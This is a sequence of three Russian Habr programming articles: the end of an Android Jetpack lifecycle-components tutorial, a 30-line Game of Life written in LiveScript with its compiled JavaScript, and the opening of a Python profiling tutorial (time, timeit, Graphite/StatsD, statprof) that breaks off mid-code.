С этим условием `NetworkMonitor` будет запускать мониторинг состояния сети только, если состояние жизненного цикла не менее, чем `STARTED`. Это достаточно удобно, потому что жизненный цикл может измениться до завершения кода в компоненте. Зная состояние родителя можно избежать крешей, утечек памяти и гонок состояния в компоненте.
Итак, откройте `MainActivity.kt` и сделайте изменения для `NetworkMonitor`:
```
networkMonitor = NetworkMonitor(this, lifecycle)
```
У `NetworkMonitor` сейчас есть доступ к родительскому жизненному циклу и прослушивание сети запускается только когда Activity находится в нужном состоянии.
### Подписка на события жизненного цикла
Чтобы `NetworkMonitor` действительно начал реагировать на изменения, его родитель должен зарегистрировать `NetworkMonitor` как слушателя событий. В `MainActivity.kt` добавьте следующую линию в методе `onCreate()` после инициализации компонента:
```
lifecycle.addObserver(networkMonitor)
```
Теперь владелец жизненного цикла будет уведомлять `NetworkMonitor` об изменениях. Таким же образом можно добавить другие компоненты на прослушивание событий жизненного цикла.
Это отличное улучшение. С помощью одной строчки кода компонент будет получать события жизненного цикла от родителя. Больше не надо писать шаблонный код в Activity или Fragment. Кроме того, компонент содержит весь код инициализации и конфигурации, что делает его самодостаточном и тестируемым.
Соберите и запустите приложение снова. После загрузки рецептов включите "Самолетный режим". Вы увидите ошибку сети в SnackBar, так же как и раньше:
Однако внутреннняя реализация была значительно улучшена.
### Кто владеет жизненным циклом?
Все выглядит хорошо, но... кто владеет жизненным циклом? Почему Activity сама владеет жизненным циклом в этом примере? Существуют ли другие владельцы?
Владелец жизненного цикла (**lifecycle owner**) – компонент реализующий интерфейс `LifecycleOwner`. В нем есть единственный метод, который необходимо реализовать: `Lifecycle.getLifecycle()`. Выходит, что любой класс поддерживающий этот интерфейс может быть владельцем жизненного цикла.
Android имеет встроенные компоненты с поддержкой жизненного цикла. Для Activity это `ComponentActivity` (является базовым классом для `AppCompatActivity` и реализует интерфейс `LifecycleOwner`).
Однако, есть и другие классы с поддержкой `LifecycleOwner`. Например, `Fragment` это `LifecycleOwner`. Это значит, что можно переместить код в любой `Fragment`, если это надо и это будет работать точно так же, как и в `MainActivity`.
Жизненный цикл Fragment может быть значительно длиннее, чем цикл визуальных компонентов (UI), которых он содержит. Если наблюдатель взаимодействует с UI во Fragment, это может привести к проблемам, поскольку наблюдатель может изменить UI до инициализации или после уничтожения.
Это причина почему есть `viewLifecycleOwner` в `Fragment`. Вы можете использовать `viewLifecycleOwner` после вызова `onCreateView()` и перед `onDestroyView()`. Как только жизненный цикл будет уничтожен, он больше не будет отправлять события.
Распространенный случай использования `viewLifecycleOwner` это работа с `LiveData` в Fragment. Откройте **FoodTriviaFragment.kt** и добавьте в методе `onViewCreated()`, до `viewModel.getRandomFoodTrivia()`, следующий код:
```
viewModel.foodTriviaState.observe(viewLifecycleOwner, Observer {
handleFoodTriviaApiState(it)
})
```
Также надо будет добавить импорт класса `import androidx.lifecycle.Observer`.
Используя этот код, `FoodTriviaFragment` будет реагировать на события от `foodTriviaState` (является `LiveData`). Так как Fragment является владельцем жизненного цикла (`viewLifecycleOwner`), наблюдатель будет получать обновления данных только, когда Fragment находится в активном состоянии.
Время сделать сборку и запустить приложение. Нажмите **More** в меню и выберите **Food Trivia**. Теперь можно получить несколько забавных и интересных Food Trivia в вашем приложении.
Использование ProcessLifecycleOwner
-----------------------------------
В некоторых случаях компоненту надо реагировать на изменения жизненного цикла самого приложения. К примеру, отследить когда приложение уходит в фоновый режим и возвращается на передний план. Для таких ситуаций в Jetpack есть **ProcessLifecycleOwner**, который естественно реализует интерфейс `LifecycleOwner`.
Этот класс представляет жизненный цикл всего процесса приложения. Событие `ON_CREATE` посылается только один раз, когда приложение стартует. При этом событие `ON_DESTROY` не будет посылаться вообще.
`ProcessLifecycleOwner` отправляет события `ON_START` и `ON_RESUME`, когда первая Activity проходит через эти состояния. Наконец, `ProcessLifecycleOwner` отправляет события `ON_PAUSE` и `ON_STOP` после того, последняя видимая Activity приложения проходит через соответствующие состояния.
Важно знать, что эти два последних события произойдут после определенной задержки. `ProcessLifecycleOwner` должен быть уверен в причине этих изменений. Он отправляет события `ON_PAUSE` и `ON_STOP` только если приложение перешло в фоновый режим, а не из-за изменения конфигурации.
При использовании такого владельца жизненного цикла, компонент должен также поддерживать интерфейс `LifecycleObserver`. Откройте **AppGlobalEvents.kt** в пакете **analytics**. Видно, что это `LifecycleObserver`.
Класс отслеживает, когда приложение выходит на передний план или переходит в фоновый режим. Это происходит когда владелец жизненного цикла посылает события `ON_START` и `ON_STOP`.
Регистрация такого `LifecycleObserver` происходит немного по-другому. Откройте **RecipesApplication.kt** и добавьте следующий код в метод `onCreate()`:
```
ProcessLifecycleOwner.get().lifecycle.addObserver(appGlobalEvents)
```
Здесь мы получаем экземпляр `ProcessLifecycleOwner` и добавляем `appGlobalEvents` как слушателя событий.
Соберите и запустите приложение. После старта приложения, сверните его в фон. Если открыть `LogCat` и отфильтровать вывод по тегу *APP\_LOGGER*, то вы должны увидеть сообщения:
Итак, вы увидели как Fragment, Activity и Application компоненты реализуют интерфейс `LifecycleOwner`. Но это еще не все. Сейчас вы узнаете, как создавать собственные классы, которые делают то же самое.
Создаем собственного владельца жизненного цикла
-----------------------------------------------
Как вы помните, любой класс может поддерживать интерфейс `LifecycleOwner`. Это значит, что можно создать кастомного владельца жизненного цикла.
Давайте создадим такого владельца, жизненный цикл которого начинается, когда смартфон теряет сетевое соединение и заканчивается при восстановлении соединения.
Откройте **UnavailableConnectionLifecycleOwner.kt** в пакете **monitor** и сделайте изменения, чтобы класс поддерживал интерфейс `LifecycleOwner`:
```
@Singleton
class UnavailableConnectionLifecycleOwner @Inject constructor() : LifecycleOwner {
// ...
}
```
После этого, добавьте `LifecycleRegistry` в **UnavailableConnectionLifecycleOwner**:
```
private val lifecycleRegistry: LifecycleRegistry = LifecycleRegistry(this)
override fun getLifecycle() = lifecycleRegistry
```
Класс `LifecycleRegistry` это реализация `Lifecycle`, который может работать с несколькими наблюдателями и уведомлять их о любых изменениях в жизненном цикле.
Добавляем события
-----------------
Для уведомления о событиях жизненного цикла можно использовать метод `handleLifecycleEvent()`. Давайте добавим пару методов в наш класс:
```
fun onConnectionLost() {
lifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_START)
}
fun onConnectionAvailable() {
lifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_STOP)
}
```
В случае, когда смартфон потеряет сетевое соединение, `lifecycleRegistry` пошлет событие `ON_START` всем наблюдателям. Когда соединение снова появится, `lifecycleRegistry` отправит `ON_STOP`.
Наконец, добавьте следующий код:
```
fun addObserver(lifecycleObserver: LifecycleObserver) {
lifecycleRegistry.addObserver(lifecycleObserver)
}
```
`addObserver()` регистрирует слушателя жизненного цикла `UnavailableConnectionLifecycleOwner`.
Реакция на события
------------------
Теперь откройте **MainActivity.kt** и добавьте такую строчку кода:
```
unavailableConnectionLifecycleOwner.addObserver(networkObserver)
```
После этого `networkObserver` будет реагировать на события `unavailableConnectionLifecycleOwner`. `NetworkObserver` покажет SnackBar, когда устройство потеряет сеть и скроет SnackBar при восстановлении сети.
И наконец, замените `handleNetworkState()`:
```
private fun handleNetworkState(networkState: NetworkState?) {
when (networkState) {
NetworkState.Unavailable -> unavailableConnectionLifecycleOwner.onConnectionLost()
NetworkState.Available -> unavailableConnectionLifecycleOwner.onConnectionAvailable()
}
}
```
Этот код запускает события `unavailableConnectionLifecycleOwner`.
Время собрать и запустить ваше приложение. Все работает так же как и раньше, кроме мониторинга сети, где мы используем сейчас кастомный `lifecycleOwner` для обработки сетевого состояния.
В следующей секции, вы узнаете как тестировать компоненты жизненного цикла.
### Тестирование компонентов жизненного цикла
Использование компонента жизненного цикла в нашем `NetworkMonitor` дает еще одно преимущество - мы можем тестировать код со всеми связанными событиями жизненного цикла.
Эти тесты будут проверять, что вызывается нужный метод в `NetworkMonitor` в соответствии с состоянием владельца жизненного цикла. Чтобы создать тест, нужно пройти те же шаги, что и при создании кастомного владельца жизненного цикла.
#### Настройка тестов
Откройте **NetworkMonitorTest.kt**. Для запуска теста необходимо сделать заглушки (mock) для владельца жизненного цикла и `NetworkMonitor`. Добавьте две заглушки в тестовый класс:
```
private val lifecycleOwner = mockk(relaxed = true)
private val networkMonitor = mockk(relaxed = true)
```
Здесь используется функционал библиотеки [**MockK**](https://mockk.io){:target="\_blank"}, она позволяет имитировать реализацию класса. Аргумент `relaxed` говорит, что заглушки могут работать без указания их поведения.
После этого создайте переменную:
```
private lateinit var lifecycle: LifecycleRegistry
```
Этот код добавляет объект `LifecycleRegistry` в тест, для управления наблюдателями и рассылки им событий жизненного цикла.
И наконец, добавьте следующую строчку кода в метод `setup()`:
```
lifecycle = LifecycleRegistry(lifecycleOwner)
lifecycle.addObserver(networkMonitor)
```
Здесь инициализируется реестр `LifecycleRegistry`, в него передается заглушка владельца жизненного цикла и добавляется наблюдатель `NetworkMonitor`, чтобы слушать события.
#### Добавляем тесты
Чтобы убедиться, что нужный метод вызывается в `NetworkMonitor`, реестр жизненного цикла должен установить правильное состояние и уведомить своих слушателей. Для этого будет использоваться метод `handleLifecycleEvent()`.
Первый тест будет проверять, что при событии `ON_CREATE` вызывается метод `init()`.
Давайте напишем тест:
```
@Test
fun `When dispatching On Create lifecycle event, call init()`() {
// 1. Notify observers and set the lifecycle state.
lifecycle.handleLifecycleEvent(Lifecycle.Event.ON_CREATE)
// 2. Verify the execution of the correct method.
verify { networkMonitor.init() }
}
```
В коде выше вы:
1. Сначала устанавливаете состояние `ON_CREATE`
2. После этого, проверяете, что был вызван метод `init()` в `NetworkMonitor`.
Не забудьте импортировать зависимости:
```
import androidx.lifecycle.Lifecycle
import io.mockk.verify
import org.junit.Test
```
Запускайте тест, он проходит успешно.
Теперь давайте проверим событие `ON_START`, оно должно вызывать метод `registerNetworkCallback()`:
```
@Test
fun `When dispatching On Start lifecycle event, call registerNetworkCallback()`() {
lifecycle.handleLifecycleEvent(Lifecycle.Event.ON_START)
verify { networkMonitor.registerNetworkCallback() }
}
```
Этот код проверяет `ON_START` событие.
Тест должен пройти успешно.
В конце концов, создадим тест для проверки события `ON_STOP` и вызова метода `unregisterNetworkCallback()`:
```
@Test
fun `When dispatching On Stop lifecycle event, call unregisterNetworkCallback()`() {
// 1. Notify observers and set the lifecycle state.
lifecycle.handleLifecycleEvent(Lifecycle.Event.ON_STOP)
// 2. Verify the execution of the correct method.
verify { networkMonitor.unregisterNetworkCallback() }
}
```
Этот код проверяет `ON_STOP` событие.
Запустите тест и ... он падает с ошибкой **Verification failed: call 1 of 1: NetworkMonitor(#2).unregisterNetworkCallback()) was not called.** Это значит, что `unregisterNetworkCallback()` не выполнился при событии `ON_STOP`? Тестовый код посылает событие `ON_STOP`, но перед ним обязательно должно быть событие `ON_START`.
Добавляем событие `ON_START` в тест:
```
lifecycle.handleLifecycleEvent(Lifecycle.Event.ON_START)
lifecycle.handleLifecycleEvent(Lifecycle.Event.ON_STOP)
```
Теперь тест проходит успешно.
Таким образом, мы проверили все события жизненного цикла и они вызывают нужные методы в `NetworkMonitor`.
### LiveData: компонент жизненного цикла
К этому моменту вы узнали, как создавать собственный компонент жизненного цикла. Но существуют ли такие же готовые компоненты в Android? Конечно, возможно самый известный из них это **LiveData**.
Принцип `LiveData` достаточно прост. Это хранилище данных за которыми можно наблюдать, то есть оно может содержать данные и уведомлять слушателей об изменениях этих данных. Однако `LiveData` это еще и компонент жизненного цикла, то есть он уведомляет своих наблюдателей только тогда, когда жизненный цикл находится в активном состоянии.
Наблюдатель в **активном состоянии** если его жизненный цикл в состоянии `STARTED` или `RESUMED`. Если жизненный цикл в другом состоянии, `LiveData` не будет уведомлять слушателей об изменениях.
Создание и присваивание переменных LiveData
-------------------------------------------
Откройте **MainViewModel.kt** из пакета **viewmodels**. Добавьте там следующие переменные:
```
private val _loadingState = MutableLiveData()
val loadingState: LiveData
get() {
return \_loadingState
}
```
`_loadingState` это `LiveData` с двумя возможными значениями: `Loading` и `NotLoading`. Эти значения будут говорить UI показывать или скрывать загрузку (`ProgressBar`).
Каждый раз, когда `LiveData` переменная получает новое значение, она уведомляет своих слушателей об изменении. Для установки нового значения используйте поле **value**.
Давайте изменим метод `getRandomRecipe()`:
```
fun getRandomRecipe() {
_loadingState.value = UiLoadingState.Loading
viewModelScope.launch {
recipeRepository.getRandomRecipe().collect { result ->
_loadingState.value = UiLoadingState.NotLoading
_recipeState.value = result
}
}
}
```
Теперь обновление `value` будет отправлено всем слушателям `_loadingState`.
Наблюдения за изменениями LiveData
----------------------------------
Откройте **MainActivity.kt** и добавьте код в метод `onCreate()`:
```
viewModel.loadingState.observe(this, Observer { uiLoadingState ->
handleLoadingState(uiLoadingState)
})
```
Здесь, `MainActivity` начнет наблюдать за обновлениями от `viewModel.loadingState`. Как вы видите, первый аргумент `observe()` это `this`, то есть текущий экземпляр `MainActivity`. Взгляните на сигнатуру метода `observe()`, там видно, что первый аргумент имеет тип `LifecycleOwner`. Это значит, что наблюдатели `LiveData` будут реагировать на изменения в зависимости от состояния жизненного цикла Activity. Для того чтобы открыть сигнатуру метода, нажмите **Control**- или **Command**-click.
В методе `observe()` есть такой код:
```
if (owner.getLifecycle().getCurrentState() == DESTROYED) {
// ignore
return;
}
```
Видно, если `LifecycleOwner` в состоянии `DESTROYED` и новое значение было установлено для переменной, то наблюдатель не получит обновление.
Однако, если `LifecycleOwner` становится активным опять, то наблюдатели получат *последнее значение* автоматически.
Соберите и запустите проект. Приложение будет показывать прогресс бар во время загрузки приложения, после окончания прогресс бар скрывается.
Поздравляю! Вы отрефакторили проект с использованием компонентов жизненного цикла.
### Что посмотреть?
Официальная документация по архитектурным компонентам: [Architecture Components: Official Documentation](https://developer.android.com/topic/libraries/architecture).
Изучаем Jetpack компоненты: [Android Jetpack Architecture Components: Getting Started](https://www.raywenderlich.com/200817/android-jetpack-architecture-components-getting-started).
Дополнительные материалы по тестированию Jetpack компонентов: [Testing Android Architecture Components](https://www.raywenderlich.com/12678525-testing-android-architecture-components).
Глубокое погружение в LiveData: [Testing Android Architecture Components](https://www.raywenderlich.com/10391019-livedata-tutorial-for-android-deep-dive). | https://habr.com/ru/post/577482/ | null | ru | null |
# Игра Жизнь на LiveScript в 30 строк
В продолжение 30-ти строчного мема, выкладываю реализацию известной игры [Жизнь](http://ru.wikipedia.org/wiki/%D0%96%D0%B8%D0%B7%D0%BD%D1%8C_(%D0%B8%D0%B3%D1%80%D0%B0)) на [LiveScript](http://livescript.net/) (язык, транслируемый в Javascript).
Игра жизнь — это клеточный автомат с простыми правилами:
* Имеется поле с клетками, которые могут быть в двух состояниях: живая и мертвая
* Если у мертвой клетки ровно три живых соседа, то она оживает
* Если у живой клетки два или три живых соседа, то она продолжает жить, в противном случае она умирает от перенаселенности или одиночества
Для начала, сам код:
```
stopped=true
document.body.onkeyup = (e) -> e.keyCode==13 && stopped := !stopped
change = (div, a) ->
div.setAttribute(\class, a and "cell active" or "cell")
div.ac=a
window.activate = (div) ->
div.ac ?= false
change div, !div.ac
setInterval ->
unless stopped
arr=document.getElementById("board").children
newarr=[[false for _ to arr[0].children.length-1] for _ to arr.length-1]
c=0
for i in [0 to arr.length-1]
for j in [0 to arr[i].children.length-1]
for sx in [i-1 to i+1]
for sy in [j-1 to j+1] when not (sy == j and sx ==i)
arr[(sx+newarr.length)%newarr.length].children[(sy+newarr[0].length)%newarr[0].length].ac and ++c
(c == 3 or (c == 2 and arr[i].children[j].ac)) and newarr[i][j]=true
c=0
for i in [0 to newarr.length-1]
for j in [0 to newarr[i].length-1]
change arr[i].children[j], newarr[i][j]
, 1000/15
```
Как видно, код простой и лаконичный. Отсутствие фигурных скобок позволяет сократить размер кода.
И ссылка на [jsfiddle](http://jsfiddle.net/Yb2cT/7/). Вначале задайте изначальное состояние поля (которое закольцовано), после чего нажмите enter и игра начнется.
**А вот результат трансляции:**
```
// Generated by LiveScript 1.2.0
(function(){
var stopped, change;
stopped = true;
document.body.onkeyup = function(e){
return e.keyCode === 13 && (stopped = !stopped);
};
change = function(div, a){
div.setAttribute('class', a && "cell active" || "cell");
return div.ac = a;
};
window.activate = function(div){
div.ac == null && (div.ac = false);
return change(div, !div.ac);
};
setInterval(function(){
var arr, newarr, res$, i$, to$, _, lresult$, j$, to1$, c, ref$, len$, i, ref1$, len1$, j, k$, ref2$, len2$, sx, l$, ref3$, len3$, sy, lresult1$, results$ = [];
if (!stopped) {
arr = document.getElementById("board").children;
res$ = [];
for (i$ = 0, to$ = arr.length - 1; i$ <= to$; ++i$) {
_ = i$;
lresult$ = [];
for (j$ = 0, to1$ = arr[0].children.length - 1; j$ <= to1$; ++j$) {
_ = j$;
lresult$.push(false);
}
res$.push(lresult$);
}
newarr = res$;
c = 0;
for (i$ = 0, len$ = (ref$ = (fn$())).length; i$ < len$; ++i$) {
i = ref$[i$];
for (j$ = 0, len1$ = (ref1$ = (fn1$())).length; j$ < len1$; ++j$) {
j = ref1$[j$];
for (k$ = 0, len2$ = (ref2$ = (fn2$())).length; k$ < len2$; ++k$) {
sx = ref2$[k$];
for (l$ = 0, len3$ = (ref3$ = (fn3$())).length; l$ < len3$; ++l$) {
sy = ref3$[l$];
if (!(sy === j && sx === i)) {
arr[(sx + newarr.length) % newarr.length].children[(sy + newarr[0].length) % newarr[0].length].ac && ++c;
}
}
}
(c === 3 || (c === 2 && arr[i].children[j].ac)) && (newarr[i][j] = true);
c = 0;
}
}
for (i$ = 0, len$ = (ref$ = (fn4$())).length; i$ < len$; ++i$) {
i = ref$[i$];
lresult1$ = [];
for (j$ = 0, len1$ = (ref1$ = (fn5$())).length; j$ < len1$; ++j$) {
j = ref1$[j$];
lresult1$.push(change(arr[i].children[j], newarr[i][j]));
}
results$.push(lresult1$);
}
return results$;
}
function fn$(){
var i$, to$, results$ = [];
for (i$ = 0, to$ = arr.length - 1; i$ <= to$; ++i$) {
results$.push(i$);
}
return results$;
}
function fn1$(){
var i$, to$, results$ = [];
for (i$ = 0, to$ = arr[i].children.length - 1; i$ <= to$; ++i$) {
results$.push(i$);
}
return results$;
}
function fn2$(){
var i$, to$, results$ = [];
for (i$ = i - 1, to$ = i + 1; i$ <= to$; ++i$) {
results$.push(i$);
}
return results$;
}
function fn3$(){
var i$, to$, results$ = [];
for (i$ = j - 1, to$ = j + 1; i$ <= to$; ++i$) {
results$.push(i$);
}
return results$;
}
function fn4$(){
var i$, to$, results$ = [];
for (i$ = 0, to$ = newarr.length - 1; i$ <= to$; ++i$) {
results$.push(i$);
}
return results$;
}
function fn5$(){
var i$, to$, results$ = [];
for (i$ = 0, to$ = newarr[i].length - 1; i$ <= to$; ++i$) {
results$.push(i$);
}
return results$;
}
}, 1000 / 15);
}).call(this);
```
Также проведу небольшой обзор языка, может кто и заинтересуется.
LiveScript похож на уже ставший известным CoffeeScript, но также имеет элементы функциональных языков, синтаксический сахар для многих конструкций.
Рассмотрим базовые элементы синтаксиса:
Определение функции:
```
add = (x, y) -> x+y
```
Вызов функции:
```
add 5 6
add(5, 6)
add 5, 6
```
Циклы:
```
for i in [0 to 10]
console.log i
```
Строки без пробелов можно записывать в таком виде:
```
a = \string
alert \str
```
Определение класса:
```
class Accumulator
(num) ->
@acc = num
sum:8
add: (n) ->
@acc+=n
@acc+@sum #returns
a = new Accumulator 1
a.sum # 8
a.acc # 1
a.add 9 # @acc now 10; return 18
```
На этом всё. Спасибо за внимание. | https://habr.com/ru/post/202766/ | null | ru | null |
# Профилирование и отладка Python, переходим к практике
В [прошлой статье](http://habrahabr.ru/company/mailru/blog/201594/) мы определили понятия профилирования и оптимизации, познакомились с различными подходами к профилированию и видами инструментов. Немного коснулись истории профайлеров.
Сегодня я предлагаю перейти к практике и покажу на примерах способы ручного профилирования (и даже «метод пристального взгляда». Будут так же рассмотрены инструменты для статистического профилирования.
* [Введение и теория](http://habrahabr.ru/company/mailru/blog/201594/) — зачем вообще нужно профилирование, различные подходы, инструменты и отличия между ними
* **Ручное и статистическое профилирование** — переходим к практике
* [Событийное профилирование](http://habrahabr.ru/company/mailru/blog/202832/) — инструменты и их применение
* [Отладка](http://habrahabr.ru/company/mailru/blog/205426/) — что делать, когда ничего не работает
Тренируемся
-----------
Какая может быть практика без примеров и тренировок? Я долго думал, какой же проект стоит взять в качестве учебного пособия, чтобы он был одновременно показательным и не очень сложным. На мой взгляд таковым является [Project Euler](http://projecteuler.net/) — сборник математических и компьютерных головоломок, поскольку для решения предложенных задач приходится применять числодробительные алгоритмы и без оптимизации поиск ответа может продолжаться годами.
*Вообще, очень советую порешать головоломки из «Проекта Эйлера». Помогает отвлечься, помедитировать и расслабиться, и в то же время держать свой мозг в тонусе.*
В качестве примера для статьи возьмём [задачу 3](http://projecteuler.net/problem=3):
> Простые делители числа 13195 — это 5, 7, 13 и 29.
>
> Какой самый большой делитель числа 600851475143, являющийся простым числом?
Пишем простое решение «в лоб»:
```
"""Project Euler problem 3 solve"""
from __future__ import print_function
import sys
def is_prime(num):
"""Checks if num is prime number"""
for i in range(2, num):
if not num % i:
return False
return True
def find_prime_factors(num):
"""Find prime factors of num"""
result = []
for i in range(2, num):
if is_prime(i) and not num % i:
result.append(i)
return result
if __name__ == '__main__':
try:
num = int(sys.argv[1])
except (TypeError, ValueError, IndexError):
sys.exit("Usage: euler_3.py number")
if num < 1:
sys.exit("Error: number must be greater than zero")
prime_factors = find_prime_factors(num)
if len(prime_factors) == 0:
print("Can't find prime factors of %d" % num)
else:
print("Answer: %d" % prime_factors[-1])
```
*Внимательный или опытный читатель, возможно, сходу обзовёт меня нубом, назовёт несколько проблем этой программы и выдаст несколько рецептов по её оптимизации, но мы специально взяли простой пример и сделаем вид, что считаем этот код хорошим, оптимизируя его по ходу действия.*
Для проверки запускаем программу c числом, делители которого нам известны:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 13195
>
> Answer: 29
Ответ 29, выданный программой правильный (его можно найти в условии задачи). Ура! Теперь запускаем программу с интересующим нас числом 600851475143:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 600851475143
И… ничего не происходит. Загрузка процессора 100%, выполнение программы не завершилось даже после нескольких часов работы. Начинаем разбираться. Вспоминаем, что оптимизировать можно только тот код, который работает корректно, но мы проверили работу программы на небольшом числе и ответ был правильный. Очевидно, что проблема в производительности и нам нужно приступать к оптимизации.
Метод пристального взгляда
--------------------------
В реальной жизни я бы профилировал программу с аргументом 13195 (когда время её работы адекватно). Но поскольку мы тут тренируемся и вообще, just for jun, воспользуемся «методом пристального взгляда».
Открываем код и внимательно на него смотрим. Понимаем (если повезёт, то понимаем быстро), что для поиска делителей числа **N** нам нет смысла перебирать числа из интервала **sqrt(N)+1…N-1**, т.к. все делители из этого диапазона мы уже нашли при переборе чисел из интервала **2…sqrt(N)**. Слегка модифицируем код (см. строки 9 и 18):
```
"""Project Euler problem 3 solve"""
from __future__ import print_function
import math
import sys
def is_prime(num):
"""Checks if num is prime number"""
for i in range(2, int(math.sqrt(num)) + 1):
if not num % i:
return False
return True
def find_prime_factors(num):
"""Find prime factors of num"""
result = []
for i in range(1, int(math.sqrt(num)) + 1):
if is_prime(i) and not num % i:
result.append(i)
if is_prime(num):
result.append(i)
return result
if __name__ == '__main__':
try:
num = int(sys.argv[1])
except (TypeError, ValueError, IndexError):
sys.exit("Usage: euler_3.py number")
if num < 1:
sys.exit("Error: number must be greater than zero")
prime_factors = find_prime_factors(num)
if len(prime_factors) == 0:
print("Can't find prime factors of %d" % num)
else:
print("Answer: %d" % prime_factors[-1])
```
Для проверки ещё раз запускаем программу с числом, делители которого нам известны:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 13195
>
> Answer: 29
Cубъективно программа отработала гораздо быстрее, значит снова запускаем её с интересующим нас числом 600851475143:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 600851475143
>
> Answer: 6857
Проверяем ответ на сайте, он оказывается верным, задача решена, мы чувствуем моральное удовлетворение.
Программа выполнилась за приемлимое время (меньше минуты), ответ получен верный, смысла в дальнешей оптимизации в данном конкретном случае нет, т.к. поставленную задачу мы решили. Как мы помним, самое важное в оптимизации — уметь вовремя остановиться.
*Да, я в курсе, что ребята из «Project Euler» просят не выкладывать ответы и решения в общий доступ. Но ответ к задаче 3 гуглится (например, по условию «project euler problem 3 answer» на раз, поэтому я считаю, что ничего страшного в том, что я написал ответ нет.*
Ручное профилирование
---------------------
Один из самых распространённых способов быстро прикинуть «что к чему». В самом элементарном случае, если мы используем unix-утилиту «time» это выглядит так (до оптимизации):
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ time python euler\_3.py 13195
>
> Answer: 29
>
> python euler\_3.py 13195 3,83s user 0,03s system 99% cpu 3,877 total
И так (после оптимизации):
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ time python euler\_3.py 13195
>
> Answer: 29
>
> python euler\_3.py 13195 0,03s user 0,02s system 90% cpu 0,061 total
Ускорение почти в 65 раз (с ~3,87 секунд до ~61 милисекунд)!
Так же ручное профилирование может выглядеть так:
```
import time
...
start = time.time()
prime_factors = find_prime_factors(num)
print("Time: %.03f s" % (time.time() - start))
```
Результат:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 600851475143
>
> Answer: 6857
>
> Time: 19.811 s
Либо с использованием специального модуля «[timeit](http://docs.python.org/2/library/timeit.html)», который предназначен для измерения быстродействия небольших программ. Пример применения:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python -m timeit -n 10 -s'import euler\_3' 'euler\_3.find\_prime\_factors(600851475143)'
>
> 10 loops, best of 3: 21.3 sec per loop
Когда же можно применять ручное профилирование? Во-первых, это отличный способ для проведения различного рода соревнований между разработчиками («Мой код теперь работает быстрее твоего, значит я *более лучший* программист!»), и это хорошо. Во-вторых, когда требуется «на глазок» определить быстродействие программы (20 секунд? долго!) или получить результаты достигнутых улучшений (ускорил код в 100 раз!).
Но самое важное применение — это сбор статистики времени выполнения кода практически в реальном времени прямо на продакшене. Для этого измеренное время отправляем в любую систему сбора метрик и отрисовки графиков (я очень люблю использовать [Graphite](http://graphite.wikidot.com/) и [StatsD](https://github.com/etsy/statsd/) в качестве аггрегатора для графита).
Для этого можно воспользоваться простым менеджером контекстов:
```
"""Collect profiling statistic into graphite"""
import socket
import time
CARBON_SERVER = '127.0.0.1'
CARBON_PORT = 2003
class Stats(object):
"""Context manager for send stats to graphite"""
def __init__(self, name):
self.name = name
def __enter__(self):
self.start = time.time()
return self
def __exit__(self, *args):
duration = (time.time() - self.start) * 1000 # msec
message = '%s %d %d\n' % (self.name, duration, time.time())
sock = socket.socket()
sock.connect((CARBON_SERVER, CARBON_PORT))
sock.sendall(message)
sock.close()
```
Пример его использования:
```
from python_profiling.context_managers import Stats
...
with Stats('project.application.some_action'):
do_some_action()
```
Или простым декоратором:
```
"""Collect profiling statistic into graphite"""
import socket
import time
CARBON_SERVER = '127.0.0.1'
CARBON_PORT = 2003
def stats(name):
"""Decorator for send stats to graphite"""
def _timing(func):
def _wrapper(*args, **kwargs):
start = time.time()
result = func(*args, **kwargs)
duration = (time.time() - start) * 1000 # msec
message = '%s %d %d\n' % (name, duration, time.time())
sock = socket.socket()
sock.connect((CARBON_SERVER, CARBON_PORT))
sock.sendall(message)
sock.close()
return result
return _wrapper
return _timing
```
Пример использования декоратора:
```
from python_profiling.decorators import stats
...
@stats('project.application.some_action')
def do_some_action():
"""Doing some useful action"""
```
На выходе получаем график времени выполнения интересующего нас участка кода, например, вот такой:
по которому всегда видно, как себя чувствует код на живых серверах, и не пора ли его оптимизировать. Видно, как код себя чувствует после очередного релиза. Если проводился рефакторинг или оптимизация, график позволяет своевременно оценить результаты и понять, улучшилась или ухудшилась ситуация в целом.
У метода есть и недостатки, и самый главный из них заключается в отсутствии зависимости от входных данных. Так, для функции определения простого числа «is\_prime» время выполнения будет сильно зависеть от величины этого числа, и если эта функция в проекте вызывается очень часто график окажется совершенно бессмысленным. Важно чётко понимать где какой подход можно использовать и что мы имеем на выходе.
*Конечно, можно назвать метод профилирования через сбор метрик в графит «статистическим», ведь мы собираем статистику работы программы. Но я предлагаю придерживаться принятой нами в первой части терминологии и под «статистическим» профилированием понимать именно сбор информации (семплирование) через определённые промежутки времени.*
### Django StatsD
В случае использования графита и аггрегирующего сервера ([StatsD](https://github.com/andymckay/django-statsd)) для него мы для одной метрики получаем сразу несколько графиков: минимальное и максимальное время выполнения кода, а так же медиану и количество записанных показаний (вызовов функции) в единицу времени, что очень удобно. Давайте посмотрим как просто подключить StatsD к Django.
Ставим модуль:
> ➜ pip install django-statsd-mozilla
Добавляем настройки в settings.py: приложение и middleware:
```
INSTALLED_APPS += ('django_statsd',)
MIDDLEWARE_CLASSES += (
'django_statsd.middleware.GraphiteRequestTimingMiddleware',
'django_statsd.middleware.GraphiteMiddleware',
)
# send DB timings
STATSD_PATCHES = ['django_statsd.patches.db']
```
И всё! На выходе получаем вот такие вот графики:
Плюсы и минусы StatsD:
+ прост в установке и использовании
+ годен для продакшена (must-have, в общем-то)
– мало информации (количество/время)
– Нужен graphite и statsd (тоже must-have)
Статистические профайлеры
-------------------------
В отличие от событийных профайлеров, инструментов для статистического профилирования немного. Я расскажу о трёх:
* [StatProf](https://github.com/bos/statprof.py) и [django-live-profiler](https://github.com/InviteBox/django-live-profiler)
* [Plop](https://github.com/bdarnell/plop) и [django-plop](https://github.com/BrianHicks/django-plop)
* [New Relic](http://newrelic.com/)
### StatProf
Пожалуй, самый известный статистический профайлер под питон — [statprof](https://github.com/bos/statprof.py). Ставим:
> ➜ pip install statprof
Используем, например. так:
```
import statprof
...
